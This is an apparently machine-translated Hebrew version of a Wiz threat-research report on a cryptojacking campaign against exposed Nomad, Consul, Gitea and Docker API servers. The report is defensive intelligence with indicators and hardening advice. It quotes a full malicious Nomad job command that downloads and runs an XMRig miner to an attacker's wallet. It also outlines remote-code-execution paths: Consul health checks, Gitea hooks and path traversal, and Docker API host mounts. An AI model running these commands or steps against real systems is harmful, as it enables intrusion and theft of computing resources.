יישומי DevOps נפוצים תחת מתקפת Cryptojacking
אמ;לק
צוות Wiz Threat Research איתר קמפיין Cryptojacking נרחב המכוון ליישומי DevOps פופולריים, כגון Nomad ו-Consul. המתקפות מנצלות חולשות ביישומים אלו כדי להשתיל כלי כרייה סמויים. מומלץ לבדוק את סביבות הפיתוח והתשתית לאיתור סימני פשרה ועדכון גרסאות באופן מיידי.
סיכום בעברית: מערכת VibeSec · מדיניות המקורות
נוסף ל-VibeSec:
כותרת מקורית: DevOps Tools Targeted for Cryptojacking

התוכן המלא בעברית
תרגום אוטומטי מהמקור; מונחים טכניים נשארו באנגלית. לנוסח המחייב — הכתבה המקורית.
הקדמה
Wiz Threat Research זיהה מסע תקיפה רחב היקף של כריית קריפטו (cryptojacking) המכוון לשרתי DevOps נגישים לציבור, כולל יישומי Nomad, Consul, Docker ו-Gitea חשופים. במהלך חקירת קמפיין זה, ראינו תוקפים מנצלים מגוון תצורות שגויות ופגיעויות ידועות בטכנולוגיות שונות כדי לפרוס את תוכנות הכרייה שלהם.
יש לציין כי קמפיין זה מהווה את המקרה הראשון המתועד בפומבי שבו תצורות שגויות ב-Nomad מנוצלות כווקטור תקיפה בשטח. הגדרנו את גורם האיום האחראי לפעילויות אלו כ-JINX-0132.
שימוש לרעה בתצורה שגויה על ידי גורמי איומים יכולה לעתים קרובות לעבור מתחת לרדאר של המגנים, במיוחד אם האפליקציה המושפעת אינה ידועה כווקטור התקפה. זה היה גם המקרה כאשר זיהינו בתחילה את "SeleniumGreed", מסע פרסום המכוון לפריסות חשופות של SeleniumGrid. לאחרונה הרחבנו בנושא חשוב זה במהלך הרצאה שנשאנו ב-DistrictCon (ההקלטה זמינה כאן ).
מאפיין מרכזי במתודולוגיה של JINX-0132 הוא ההימנעות המכוונת לכאורה משימוש במזהים מסורתיים או ייחודיים שיכולים לשמש את צוותי ההגנה כ-Indicators of Compromise (IOCs). במקום להשתמש בשרתים שבשליטתם להעברת מטענים (payloads), הם מורידים כלים ישירות ממאגרי GitHub ציבוריים. יתרה מכך, הם מסתמכים על גרסאות סטנדרטיות של XMRig ולא על נוזקות מותאמות אישית. בעוד שההעדפה שלהם לעבוד עם כלים מוכנים מראש ושימוש ב-
היבט בולט נוסף בקמפיין זה הוא כוח המחשוב העצום העומד מאחורי חלק מהשרתים שנפגעו. לדוגמה, מופעי (instances) Nomad מסוימים שנפגעו מנהלים מאות לקוחות, עם משאבי CPU ו-RAM משולבים שעלותם עשרות אלפי דולרים בחודש. נתון זה מדגיש כיצד אפילו ארגונים גדולים עם תקציבים משמעותיים יכולים להישאר פגיעים לתצורות שגויות בסיסיות.
אילו יישומים ממוקדים?
נראה שהקמפיין מכוון למגוון רחב של טכנולוגיות, אך בעיקר לארבעת היישומים הבאים:
• HashiCorp Nomad - מתזמן (scheduler) ומתזמר (orchestrator) פשוט לפריסה וניהול של קונטיינרים ויישומים שאינם מבוססי קונטיינרים על גבי פלטפורמות מרובות.
• HashiCorp Consul - פלטפורמת רשת שירות המחברת ומאבטחת שירותים על פני מספר פלטפורמות.
• Docker API - ממשק ה-API החיצוני עבור ה-daemon של dockerd, התהליך המתמשך המנהל קונטיינרים במארחים המריצים Docker.
• Gitea - שירות קל משקל ומתארח עצמאית עבור מאגרי Git, המשמש כחלופת קוד פתוח ל-GitHub או GitLab.
נַוָד
Nomad הוא מתזמן ומתזמר פשוט שפותח על ידי HashiCorp כדי לפרוס ולנהל קונטיינרים ויישומים שאינם מכילים מכולות על פני מספר פלטפורמות. כפי שהוזכר בתיעוד של Nomad, הוא אינו מאובטח כברירת מחדל. תצורה נכונה של מאפייני האבטחה השונים שכן קיימים בפלטפורמה היא באחריות המשתמש:
תכונה בסיסית של Nomad היא תור העבודות שלו, המאפשר למשתמשים להגיש משימות לביצוע על ידי צמתים הרשומים בשרת ה-Nomad. כברירת מחדל — ובאופן קריטי, אם לא הוגדר מחדש על ידי מנהלי המערכת — כל משתמש בעל גישה ל-API של שרת ה-Nomad יכול ליצור ולהריץ משימות אלו. תצורת ברירת מחדל זו פירושה למעשה שגישה בלתי מוגבלת ל-API של השרת עלולה להוביל ליכולות ביצוע קוד מרחוק (RCE) על השרת עצמו ועל כל הצמתים המחוברים.
עם גישה לשרת Nomad API מחוץ לקופסה, חשוף בפומבי, הפועל ללא תצורת האבטחה המומלצת על ידי HashiCorp, JINX-0132 השתמש לרעה בהתנהגות ברירת המחדל הזו כדי ליצור מספר עבודות חדשות במארחים שנפגעו, לכל אחד הוקצה שם אקראי לכאורה:
בעוד ששמות השירות הם תמיד אקראיים, שחקן האיום הראה העדפה לשימוש בהשמצות בעת מתן שם לקבוצת המשימות המוגדרת, והיא נשארה זהה בכל מקרה (NIGNOG):
כל עבודה זדונית שהוגשה על ידי JINX-0132 הכילה משימה עם התצורה הבאה:
"Config" : { "command" : "sh" , "args" : [ "-c" , "apt-get update -y ; sudo apt-get update -y ; apt-get install wget ; sudo apt-get install wget ; wget https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-linux-static-x64.tar.gz ; sudo wget https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-linux-static-x64.tar.gz ; tar -xzf xmrig-6.22.2-linux-static-x64.tar.gz ; cd xmrig-6.22.2 ; chmod 777 xmrig ; sudo chmod 777 xmrig ; ./xmrig -o pool.supportxmr.com:443 -u 468VEByGGFQSN2bJG99ovhe5SG9SLxLAA9e2s7tWFxvBM33FAEP4JbwYHEeXexq8djYpDEHg9Jq6eGF3rREnAAc4UkjLd3E --tls --coin monero --cpu-max-threads-hint=90 -p {redacted}:4646" ] }
תצורת משימה זו מבצעת את הפעולות הבאות:
• מוריד את הגרסה העדכנית ביותר של הכורה XMRig ישירות מהמאגר הציבורי GitHub שלו.
• מעניק הרשאות ביצוע לבינארי XMRig.
• מבצע את הכורה, מתחבר למאגר כרייה ציבורי Monero ( pool.supportxmr.com ) תוך שימוש בכתובת ארנק הנשלטת על ידי תוקף ( 468VEByGGFQSN2bJG99ovhe5SG9SLxLAA9e2s7tWFxvBM33FAEP4JbwYHEeXexq8djYpDEHg9Jq6eGF3rREnAAc4UkjLd3E ).
שימו לב שהתקפה זו אינה מסתמכת על שרתים הנשלטים על ידי תוקף או על מטענים מותאמים אישית; המזהה היחיד הייחודי למתקפה זו הוא כתובת הארנק, אותה יכול התוקף להחליף באופן טריוויאלי במקרים עתידיים של הקמפיין, מה שהופך אותו לשביר למדי IOC.
כפי שהוזכר בתיעוד של מודל האבטחה של Nomad , לקוחות המפעילים Nomad (או מתזמרים אחרים) מבלי להפעיל את מנגנוני האבטחה המתאימים בתצורה של Nomad צריכים תמיד להיות מודעים לכך שייתכן ויתכן שתוקף ישתמש לרעה בגישה לאשכול ולהפעיל עבודות זדוניות. כמו בכל נוהלי האבטחה המומלצים על ידי ספקים, לקוחות Nomad צריכים להתאים את המלצות האבטחה הללו לדרישות הספציפיות של הסביבה שלהם על מנת להבטיח פריסה חזקה.
גיטה
Gitea הוא כלי קל משקל ומתארח עצמאית למאגרי Git, המהווה חלופת קוד פתוח ל-GitHub או GitLab. אנו מעריכים כי JINX-0132 השיגו את דריסת הרגל הראשונית שלהם על מארח היעד על ידי ניצול פגיעות או תצורה שגויה. איננו בטוחים באיזו שיטה השתמשו בכל מקרה, אך קיימות מספר אפשרויות סבירות, כפי שנסביר להלן.
גרסאות ישנות יותר של Gitea עלולות להיות רגישות לביצוע קוד מרחוק לאחר אימות (RCE) עקב פגיעות הנובעת מהגדרת ברירת מחדל לא מאובטחת (CVE-2020-14144), אך נדרשים תנאים מוקדמים רבים לניצול: בגרסאות 1.1.0 עד 1.12.5, הדגל DISABLE_GIT_HOOKS מוגדר כ-false כברירת מחדל, כך שכל משתמש בעל הרשאה ליצירת git hooks יכול להוסיף סקריפט מסוג post-receive המורץ בהרשאות מערכת ההפעלה של Gitea. שים לב כי פגיעות זו משפיעה גם על Gogs (CVE-2020-15867), שממנו פוצל (forked) Gitea.
גרסה 1.13 שינתה את ברירת המחדל של DISABLE_GIT_HOOKS ל-true , אך הסיכון יכול להופיע מחדש אם מנהל מערכת יעקוף את ההגדרה הזו באופן ידני ויפעיל מחדש הוקס. בכל מקרה, מכיוון שהניצול הוא לאחר אימות, ניתן לנצל באופן מציאותי את הפגיעות עבור מרחוק RCE רק אם התוקף השיג גישה למשתמש קיים עם הרשאה ליצור git hooks, או אם הם מסוגלים ליצור משתמש חדש - בהנחה שהמופע הוגדר לאפשר רישום פתוח - ולכל המשתמשים הוקצו אוטומטית הרשאות git ליצור hooks.
בנוסף, המהדורה קצרת הטווח של 1.4.0 מושפעת מRCE לא מאומת: פגם לוגי מאפשר למשתמש מרוחק לכתוב אובייקט LFS ללא אימות, לעבור בנתיב כדי לקרוא ../../../custom/conf/app.ini , לזייף הפעלת ניהול ולאחר מכן לנצל את אותו מנגנון Hook לביצוע קוד. הבאג תוקן בגרסה 1.4.1, אך לא הוקצה לו CVE.
סיכון נפרד ובלתי תלוי מתעורר אם המתקין יישאר לא נעול (INSTALL_LOCK=false ), מכיוון שכל מי שיש לו גישה למופע יכול פשוט להפעיל מחדש את אשף ההתקנה ולדרוס את התצורה, כולל איפוס אישורי מנהל.
לסיכום, מקרים שנחשפו בפומבי של Gitea פגיעים ל-RCE באחד מהתנאים הבאים:
• לתוקף יש גישה למשתמש קיים עם הרשאה ליצור git hooks, או Gitea הוגדר לאפשר רישום פתוח ולכל המשתמשים הוקצו אוטומטית הרשאות ליצור git hooks. בנוסף, git hooks מופעלים כברירת מחדל (אם פועלים גרסה 1.1.0 עד 1.12.5) או מופעלים באופן ידני (בגירסאות מאוחרות יותר).
• דף ההתקנה נותר לא נעול.
קוֹנסוּל
Consul הוא פתרון רשת שירות שפותח על ידי HashiCorp המאפשר לצוותים לנהל קישוריות רשת מאובטחת בין שירותים ובין סביבות וזמני ריצה מקומיים ומרובים בענן. בדומה ל-Nomad, שרת Consul מספק מישור בקרה המאפשר למשתמשים לרשום ולשאול שירותים הפרוסים על פני מספר צמתים, כולם רשומים בשרת המרכזי.
כחלק מפעולה זו, משתמשים בעלי גישת רישום יכולים להגדיר בדיקות תקינות לכל שירות שהן בדיקות פשוטות לביצוע בצמתים המריצים את השירות המדווחים על מצב תקינות השירות הנוכחי. בדיקת תקינות שירות יכולה לכלול פקודת bash שתבוצע על ידי הסוכן הרשום כפי שמוצג בדוגמה זו:
כברירת מחדל, אלא אם ACLs הוגדרו או תכונות האבטחה שסופקו על ידי HashiCorp הופעלו, כל משתמש עם גישה מרחוק לשרת יכול לרשום שירותים ובדיקות תקינות ולהשתמש לרעה בפונקציונליות זו לצורך ביצוע קוד מרחוק. HashiCorp מציע הדרכה יסודית לגבי הגדרת תכונות האבטחה הללו, אך כפי שהוכח על ידי מסע פרסום זה ופעילות קודמת של שחקנים כגון DreamBus , הגדרות שגויות אכן מתרחשות בטבע ומנוצלות על ידי שחקנים אופורטוניסטים.
בקמפיין שתוזמר JINX-0132 הם ניצלו לרעה את היכולת הזו כדי להוסיף בדיקות זדוניות שבפועל פשוט מבצעות תוכנת כרייה. בדומה לנוהל שלהם לחטיפת Nomad, JINX-0132 מוסיף שירותים מרובים עם שמות אקראיים לכאורה שמטרתם האמיתית הייתה להוריד ולהפעיל את המטען XMRig:
יומני הפלט שנתפסו משירותים אלה חושפים שהם כורים בהצלחה מטבעות קריפטוגרפיים:
לקוחות קונסול צריכים לוודא שהם עקבו אחר הנחיות האבטחה הנ"ל במהלך ההתקנה, ובכך למנוע ניצול לרעה של יכולת זו על ידי גורמים זדוניים לביצוע קוד שרירותי.
דוקר API
ה-Docker Engine API הוא ממשק REST HTTP שבו ה-Docker CLI משתמש כדי לתקשר עם ה-daemon של dockerd ולבצע פעולות כגון בנייה, הרצה, עצירה או שאילתות על קונטיינרים. הוא מאפשר לבצע כל פעולה שה-CLI יכול לבצע באמצעות קריאת API בלבד — נקודות קצה (endpoints) טיפוסיות כוללות /containers/create, /containers/{id}/start, /exec/{id}/start ו-/image/create. ניצול לרעה של Docker API הוא וקטור תקיפה ידוע. קריאת API אחת ללא אימות יכולה להפעיל קונטיינרים זדוניים או לבצע mount למערכת הקבצים של המארח, וכתוצאה מכך להביא לביצוע קוד מרחוק במינימום מאמץ.
כברירת מחדל, Docker מאזין רק בשקע Unix המקומי שלו, אבל מטעמי נוחות - בין אם זה חיבור CI/CD צינורות, הפעלת לוחות מחוונים מרוחקים ללא SSH, או מעקב אחר מדריכי התחלה מהירה - מנהלי מערכת חושפים בסופו של דבר את tcp://0.0.0.0:2375 (או 2375).
ניתן לנצל תצורה שגויה זו על ידי תוקפים לביצוע קוד מרחוק, שכן Docker API חשוף מעניק לכל מי שיכול להגיע אליו את אותן עוצמות של Docker CLI עם הרשאות root. תוקפים יכולים ליצור קונטיינר שמבצע mount למערכת הקבצים של המארח — על ידי שליחת בקשת POST ל-/containers/create עם "Binds":["/:/host"], לאחר מכן בקשת POST ל-/containers/{id}/start, או להריץ תמונת crypto-miner על ידי POST ל-/containers/create, או כניסה ישירה ל-shell אינטראקטיבי דרך /exec. מעבר לכך, הרכבת ה-socket של Docker בתוך קונטיינר חדש מאפשרת לתוקף לשלוט על Docker גם מתוך הקונטיינר, ובכך לבצע תנועה רוחבית (pivoting) ל-Kubernetes או למארחים אחרים.